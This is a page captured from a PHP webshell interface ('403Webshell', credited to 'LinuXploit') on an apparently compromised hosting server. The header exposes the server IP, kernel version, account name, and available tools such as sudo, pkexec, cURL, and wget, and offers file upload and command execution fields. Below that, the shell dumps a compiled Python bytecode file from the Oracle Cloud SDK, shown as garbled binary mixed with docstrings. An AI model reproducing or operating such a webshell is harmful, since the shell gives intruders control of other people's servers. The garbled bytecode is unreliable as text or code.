403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.108
Web Server : Apache
System : Linux gator2125.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/lib/python3.9/site-packages/oci/database/models/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.9/site-packages/oci/database/models/__pycache__/db_server.cpython-39.pyc
a

���f�c�@s8ddlmZmZmZddlmZeGdd�de��ZdS)�)�formatted_flat_dict�
NONE_SENTINEL�#value_allowed_none_or_none_sentinel)�init_model_state_from_kwargsc@sjeZdZdZdZdZdZdZdZdZ	dd	�Z
ed
d��Zej
dd��Zed
d��Zej
dd��Zedd��Zej
dd��Zedd��Zej
dd��Zedd��Zej
dd��Zedd��Zej
dd��Zedd��Zej
dd��Zedd ��Zej
d!d ��Zed"d#��Zej
d$d#��Zed%d&��Zej
d'd&��Zed(d)��Zej
d*d)��Zed+d,��Zej
d-d,��Zed.d/��Zej
d0d/��Zed1d2��Zej
d3d2��Zed4d5��Zej
d6d5��Zed7d8��Zej
d9d8��Zed:d;��Zej
d<d;��Zed=d>��Zej
d?d>��Zed@dA��Zej
dBdA��ZedCdD��Z e j
dEdD��Z edFdG��Z!e!j
dHdG��Z!dIdJ�Z"dKdL�Z#dMdN�Z$dOS)P�DbServerz,
    Details of the Db server resource.
    �CREATING�	AVAILABLE�UNAVAILABLE�DELETING�DELETED�MAINTENANCE_IN_PROGRESScKs�dddddddddddddddddddddd�|_d	d
ddd
ddddddddddddddddd�|_d|_d|_d|_d|_d|_d|_d|_d|_	d|_
d|_d|_d|_
d|_d|_d|_d|_d|_d|_d|_d|_d|_dS)a�
        Initializes a new DbServer object with values from keyword arguments.
        The following keyword arguments are supported (corresponding to the getters/setters of this class):

        :param id:
            The value to assign to the id property of this DbServer.
        :type id: str

        :param display_name:
            The value to assign to the display_name property of this DbServer.
        :type display_name: str

        :param compartment_id:
            The value to assign to the compartment_id property of this DbServer.
        :type compartment_id: str

        :param exadata_infrastructure_id:
            The value to assign to the exadata_infrastructure_id property of this DbServer.
        :type exadata_infrastructure_id: str

        :param cpu_core_count:
            The value to assign to the cpu_core_count property of this DbServer.
        :type cpu_core_count: int

        :param memory_size_in_gbs:
            The value to assign to the memory_size_in_gbs property of this DbServer.
        :type memory_size_in_gbs: int

        :param db_node_storage_size_in_gbs:
            The value to assign to the db_node_storage_size_in_gbs property of this DbServer.
        :type db_node_storage_size_in_gbs: int

        :param vm_cluster_ids:
            The value to assign to the vm_cluster_ids property of this DbServer.
        :type vm_cluster_ids: list[str]

        :param autonomous_vm_cluster_ids:
            The value to assign to the autonomous_vm_cluster_ids property of this DbServer.
        :type autonomous_vm_cluster_ids: list[str]

        :param autonomous_virtual_machine_ids:
            The value to assign to the autonomous_virtual_machine_ids property of this DbServer.
        :type autonomous_virtual_machine_ids: list[str]

        :param db_node_ids:
            The value to assign to the db_node_ids property of this DbServer.
        :type db_node_ids: list[str]

        :param shape:
            The value to assign to the shape property of this DbServer.
        :type shape: str

        :param lifecycle_state:
            The value to assign to the lifecycle_state property of this DbServer.
            Allowed values for this property are: "CREATING", "AVAILABLE", "UNAVAILABLE", "DELETING", "DELETED", "MAINTENANCE_IN_PROGRESS", 'UNKNOWN_ENUM_VALUE'.
            Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'.
        :type lifecycle_state: str

        :param lifecycle_details:
            The value to assign to the lifecycle_details property of this DbServer.
        :type lifecycle_details: str

        :param max_cpu_count:
            The value to assign to the max_cpu_count property of this DbServer.
        :type max_cpu_count: int

        :param max_memory_in_gbs:
            The value to assign to the max_memory_in_gbs property of this DbServer.
        :type max_memory_in_gbs: int

        :param max_db_node_storage_in_gbs:
            The value to assign to the max_db_node_storage_in_gbs property of this DbServer.
        :type max_db_node_storage_in_gbs: int

        :param time_created:
            The value to assign to the time_created property of this DbServer.
        :type time_created: datetime

        :param db_server_patching_details:
            The value to assign to the db_server_patching_details property of this DbServer.
        :type db_server_patching_details: oci.database.models.DbServerPatchingDetails

        :param freeform_tags:
            The value to assign to the freeform_tags property of this DbServer.
        :type freeform_tags: dict(str, str)

        :param defined_tags:
            The value to assign to the defined_tags property of this DbServer.
        :type defined_tags: dict(str, dict(str, object))

        �str�intz	list[str]ZdatetimeZDbServerPatchingDetailszdict(str, str)zdict(str, dict(str, object)))�id�display_name�compartment_id�exadata_infrastructure_id�cpu_core_count�memory_size_in_gbs�db_node_storage_size_in_gbs�vm_cluster_ids�autonomous_vm_cluster_ids�autonomous_virtual_machine_ids�db_node_ids�shape�lifecycle_state�lifecycle_details�
max_cpu_count�max_memory_in_gbs�max_db_node_storage_in_gbs�time_created�db_server_patching_details�
freeform_tags�defined_tagsrZdisplayNameZ
compartmentIdZexadataInfrastructureIdZcpuCoreCountZmemorySizeInGBsZdbNodeStorageSizeInGBsZvmClusterIdsZautonomousVmClusterIdsZautonomousVirtualMachineIdsZ	dbNodeIdsrZlifecycleStateZlifecycleDetailsZmaxCpuCountZmaxMemoryInGBsZmaxDbNodeStorageInGBsZtimeCreatedZdbServerPatchingDetailsZfreeformTagsZdefinedTagsN)Z
swagger_typesZ
attribute_map�_id�
_display_name�_compartment_id�_exadata_infrastructure_id�_cpu_core_count�_memory_size_in_gbs�_db_node_storage_size_in_gbs�_vm_cluster_ids�_autonomous_vm_cluster_ids�_autonomous_virtual_machine_ids�_db_node_ids�_shape�_lifecycle_state�_lifecycle_details�_max_cpu_count�_max_memory_in_gbs�_max_db_node_storage_in_gbs�
_time_created�_db_server_patching_details�_freeform_tags�
_defined_tags)�self�kwargs�r;�A/usr/lib/python3.9/site-packages/oci/database/models/db_server.py�__init__*s�]��zDbServer.__init__cCs|jS)z�
        Gets the id of this DbServer.
        The `OCID`__ of the Db server.

        __ https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm


        :return: The id of this DbServer.
        :rtype: str
        �r$�r9r;r;r<r�szDbServer.idcCs
||_dS)z�
        Sets the id of this DbServer.
        The `OCID`__ of the Db server.

        __ https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm


        :param id: The id of this DbServer.
        :type: str
        Nr>)r9rr;r;r<r�scCs|jS)z�
        Gets the display_name of this DbServer.
        The user-friendly name for the Db server. The name does not need to be unique.


        :return: The display_name of this DbServer.
        :rtype: str
        �r%r?r;r;r<r�s
zDbServer.display_namecCs
||_dS)z�
        Sets the display_name of this DbServer.
        The user-friendly name for the Db server. The name does not need to be unique.


        :param display_name: The display_name of this DbServer.
        :type: str
        Nr@)r9rr;r;r<r�s
cCs|jS)a
        Gets the compartment_id of this DbServer.
        The `OCID`__ of the compartment.

        __ https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm


        :return: The compartment_id of this DbServer.
        :rtype: str
        �r&r?r;r;r<rszDbServer.compartment_idcCs
||_dS)a
        Sets the compartment_id of this DbServer.
        The `OCID`__ of the compartment.

        __ https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm


        :param compartment_id: The compartment_id of this DbServer.
        :type: str
        NrA)r9rr;r;r<rscCs|jS)a$
        Gets the exadata_infrastructure_id of this DbServer.
        The `OCID`__ of the Exadata infrastructure.

        __ https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm


        :return: The exadata_infrastructure_id of this DbServer.
        :rtype: str
        �r'r?r;r;r<rsz"DbServer.exadata_infrastructure_idcCs
||_dS)a<
        Sets the exadata_infrastructure_id of this DbServer.
        The `OCID`__ of the Exadata infrastructure.

        __ https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm


        :param exadata_infrastructure_id: The exadata_infrastructure_id of this DbServer.
        :type: str
        NrB)r9rr;r;r<r*scCs|jS)z�
        Gets the cpu_core_count of this DbServer.
        The number of CPU cores enabled on the Db server.


        :return: The cpu_core_count of this DbServer.
        :rtype: int
        �r(r?r;r;r<r8s
zDbServer.cpu_core_countcCs
||_dS)z�
        Sets the cpu_core_count of this DbServer.
        The number of CPU cores enabled on the Db server.


        :param cpu_core_count: The cpu_core_count of this DbServer.
        :type: int
        NrC)r9rr;r;r<rDs
cCs|jS)z�
        Gets the memory_size_in_gbs of this DbServer.
        The allocated memory in GBs on the Db server.


        :return: The memory_size_in_gbs of this DbServer.
        :rtype: int
        �r)r?r;r;r<rPs
zDbServer.memory_size_in_gbscCs
||_dS)z�
        Sets the memory_size_in_gbs of this DbServer.
        The allocated memory in GBs on the Db server.


        :param memory_size_in_gbs: The memory_size_in_gbs of this DbServer.
        :type: int
        NrD)r9rr;r;r<r\s
cCs|jS)z�
        Gets the db_node_storage_size_in_gbs of this DbServer.
        The allocated local node storage in GBs on the Db server.


        :return: The db_node_storage_size_in_gbs of this DbServer.
        :rtype: int
        �r*r?r;r;r<rhs
z$DbServer.db_node_storage_size_in_gbscCs
||_dS)z�
        Sets the db_node_storage_size_in_gbs of this DbServer.
        The allocated local node storage in GBs on the Db server.


        :param db_node_storage_size_in_gbs: The db_node_storage_size_in_gbs of this DbServer.
        :type: int
        NrE)r9rr;r;r<rts
cCs|jS)a'
        Gets the vm_cluster_ids of this DbServer.
        The `OCID`__ of the VM Clusters associated with the Db server.

        __ https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm


        :return: The vm_cluster_ids of this DbServer.
        :rtype: list[str]
        �r+r?r;r;r<r�szDbServer.vm_cluster_idscCs
||_dS)a4
        Sets the vm_cluster_ids of this DbServer.
        The `OCID`__ of the VM Clusters associated with the Db server.

        __ https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm


        :param vm_cluster_ids: The vm_cluster_ids of this DbServer.
        :type: list[str]
        NrF)r9rr;r;r<r�scCs|jS)aQ
        Gets the autonomous_vm_cluster_ids of this DbServer.
        The list of `OCIDs`__ of the Autonomous VM Clusters associated with the Db server.

        __ https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm


        :return: The autonomous_vm_cluster_ids of this DbServer.
        :rtype: list[str]
        �r,r?r;r;r<r�sz"DbServer.autonomous_vm_cluster_idscCs
||_dS)ai
        Sets the autonomous_vm_cluster_ids of this DbServer.
        The list of `OCIDs`__ of the Autonomous VM Clusters associated with the Db server.

        __ https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm


        :param autonomous_vm_cluster_ids: The autonomous_vm_cluster_ids of this DbServer.
        :type: list[str]
        NrG)r9rr;r;r<r�scCs|jS)a`
        Gets the autonomous_virtual_machine_ids of this DbServer.
        The list of `OCIDs`__ of the Autonomous Virtual Machines associated with the Db server.

        __ https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm


        :return: The autonomous_virtual_machine_ids of this DbServer.
        :rtype: list[str]
        �r-r?r;r;r<r�sz'DbServer.autonomous_virtual_machine_idscCs
||_dS)a}
        Sets the autonomous_virtual_machine_ids of this DbServer.
        The list of `OCIDs`__ of the Autonomous Virtual Machines associated with the Db server.

        __ https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm


        :param autonomous_virtual_machine_ids: The autonomous_virtual_machine_ids of this DbServer.
        :type: list[str]
        NrH)r9rr;r;r<r�scCs|jS)a
        Gets the db_node_ids of this DbServer.
        The `OCID`__ of the Db nodes associated with the Db server.

        __ https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm


        :return: The db_node_ids of this DbServer.
        :rtype: list[str]
        �r.r?r;r;r<r�szDbServer.db_node_idscCs
||_dS)a(
        Sets the db_node_ids of this DbServer.
        The `OCID`__ of the Db nodes associated with the Db server.

        __ https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm


        :param db_node_ids: The db_node_ids of this DbServer.
        :type: list[str]
        NrI)r9rr;r;r<r�scCs|jS)z�
        Gets the shape of this DbServer.
        The shape of the Db server. The shape determines the amount of CPU, storage, and memory resources available.


        :return: The shape of this DbServer.
        :rtype: str
        �r/r?r;r;r<r�s
zDbServer.shapecCs
||_dS)z�
        Sets the shape of this DbServer.
        The shape of the Db server. The shape determines the amount of CPU, storage, and memory resources available.


        :param shape: The shape of this DbServer.
        :type: str
        NrJ)r9rr;r;r<r�s
cCs|jS)a�
        Gets the lifecycle_state of this DbServer.
        The current state of the Db server.

        Allowed values for this property are: "CREATING", "AVAILABLE", "UNAVAILABLE", "DELETING", "DELETED", "MAINTENANCE_IN_PROGRESS", 'UNKNOWN_ENUM_VALUE'.
        Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'.


        :return: The lifecycle_state of this DbServer.
        :rtype: str
        )r0r?r;r;r<rs
zDbServer.lifecycle_statecCs gd�}t||�sd}||_dS)z�
        Sets the lifecycle_state of this DbServer.
        The current state of the Db server.


        :param lifecycle_state: The lifecycle_state of this DbServer.
        :type: str
        )rrr	r
rrZUNKNOWN_ENUM_VALUEN)rr0)r9rZallowed_valuesr;r;r<rs

cCs|jS)z�
        Gets the lifecycle_details of this DbServer.
        Additional information about the current lifecycle state.


        :return: The lifecycle_details of this DbServer.
        :rtype: str
        �r1r?r;r;r<r&s
zDbServer.lifecycle_detailscCs
||_dS)z�
        Sets the lifecycle_details of this DbServer.
        Additional information about the current lifecycle state.


        :param lifecycle_details: The lifecycle_details of this DbServer.
        :type: str
        NrK)r9rr;r;r<r2s
cCs|jS)z�
        Gets the max_cpu_count of this DbServer.
        The total number of CPU cores available.


        :return: The max_cpu_count of this DbServer.
        :rtype: int
        �r2r?r;r;r<r>s
zDbServer.max_cpu_countcCs
||_dS)z�
        Sets the max_cpu_count of this DbServer.
        The total number of CPU cores available.


        :param max_cpu_count: The max_cpu_count of this DbServer.
        :type: int
        NrL)r9rr;r;r<rJs
cCs|jS)z�
        Gets the max_memory_in_gbs of this DbServer.
        The total memory available in GBs.


        :return: The max_memory_in_gbs of this DbServer.
        :rtype: int
        �r3r?r;r;r<rVs
zDbServer.max_memory_in_gbscCs
||_dS)z�
        Sets the max_memory_in_gbs of this DbServer.
        The total memory available in GBs.


        :param max_memory_in_gbs: The max_memory_in_gbs of this DbServer.
        :type: int
        NrM)r9rr;r;r<rbs
cCs|jS)z�
        Gets the max_db_node_storage_in_gbs of this DbServer.
        The total local node storage available in GBs.


        :return: The max_db_node_storage_in_gbs of this DbServer.
        :rtype: int
        �r4r?r;r;r<rns
z#DbServer.max_db_node_storage_in_gbscCs
||_dS)z�
        Sets the max_db_node_storage_in_gbs of this DbServer.
        The total local node storage available in GBs.


        :param max_db_node_storage_in_gbs: The max_db_node_storage_in_gbs of this DbServer.
        :type: int
        NrN)r9rr;r;r<rzs
cCs|jS)z�
        Gets the time_created of this DbServer.
        The date and time that the Db Server was created.


        :return: The time_created of this DbServer.
        :rtype: datetime
        �r5r?r;r;r<r �s
zDbServer.time_createdcCs
||_dS)z�
        Sets the time_created of this DbServer.
        The date and time that the Db Server was created.


        :param time_created: The time_created of this DbServer.
        :type: datetime
        NrO)r9r r;r;r<r �s
cCs|jS)z�
        Gets the db_server_patching_details of this DbServer.

        :return: The db_server_patching_details of this DbServer.
        :rtype: oci.database.models.DbServerPatchingDetails
        �r6r?r;r;r<r!�sz#DbServer.db_server_patching_detailscCs
||_dS)z�
        Sets the db_server_patching_details of this DbServer.

        :param db_server_patching_details: The db_server_patching_details of this DbServer.
        :type: oci.database.models.DbServerPatchingDetails
        NrP)r9r!r;r;r<r!�scCs|jS)a�
        Gets the freeform_tags of this DbServer.
        Free-form tags for this resource. Each tag is a simple key-value pair with no predefined name, type, or namespace.
        For more information, see `Resource Tags`__.

        Example: `{"Department": "Finance"}`

        __ https://docs.cloud.oracle.com/Content/General/Concepts/resourcetags.htm


        :return: The freeform_tags of this DbServer.
        :rtype: dict(str, str)
        �r7r?r;r;r<r"�szDbServer.freeform_tagscCs
||_dS)a�
        Sets the freeform_tags of this DbServer.
        Free-form tags for this resource. Each tag is a simple key-value pair with no predefined name, type, or namespace.
        For more information, see `Resource Tags`__.

        Example: `{"Department": "Finance"}`

        __ https://docs.cloud.oracle.com/Content/General/Concepts/resourcetags.htm


        :param freeform_tags: The freeform_tags of this DbServer.
        :type: dict(str, str)
        NrQ)r9r"r;r;r<r"�scCs|jS)a
        Gets the defined_tags of this DbServer.
        Defined tags for this resource. Each key is predefined and scoped to a namespace.
        For more information, see `Resource Tags`__.

        __ https://docs.cloud.oracle.com/Content/General/Concepts/resourcetags.htm


        :return: The defined_tags of this DbServer.
        :rtype: dict(str, dict(str, object))
        �r8r?r;r;r<r#�s
zDbServer.defined_tagscCs
||_dS)a�
        Sets the defined_tags of this DbServer.
        Defined tags for this resource. Each key is predefined and scoped to a namespace.
        For more information, see `Resource Tags`__.

        __ https://docs.cloud.oracle.com/Content/General/Concepts/resourcetags.htm


        :param defined_tags: The defined_tags of this DbServer.
        :type: dict(str, dict(str, object))
        NrR)r9r#r;r;r<r#�s
cCst|�S�N)rr?r;r;r<�__repr__�szDbServer.__repr__cCs|durdS|j|jkS)NF)�__dict__�r9�otherr;r;r<�__eq__�szDbServer.__eq__cCs
||kSrSr;rVr;r;r<�__ne__�szDbServer.__ne__N)%�__name__�
__module__�__qualname__�__doc__ZLIFECYCLE_STATE_CREATINGZLIFECYCLE_STATE_AVAILABLEZLIFECYCLE_STATE_UNAVAILABLEZLIFECYCLE_STATE_DELETINGZLIFECYCLE_STATE_DELETEDZ'LIFECYCLE_STATE_MAINTENANCE_IN_PROGRESSr=�propertyr�setterrrrrrrrrrrrrrrrrr r!r"r#rTrXrYr;r;r;r<rs�#


















































	
	



rN)Zoci.utilrrrZoci.decoratorsr�objectrr;r;r;r<�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit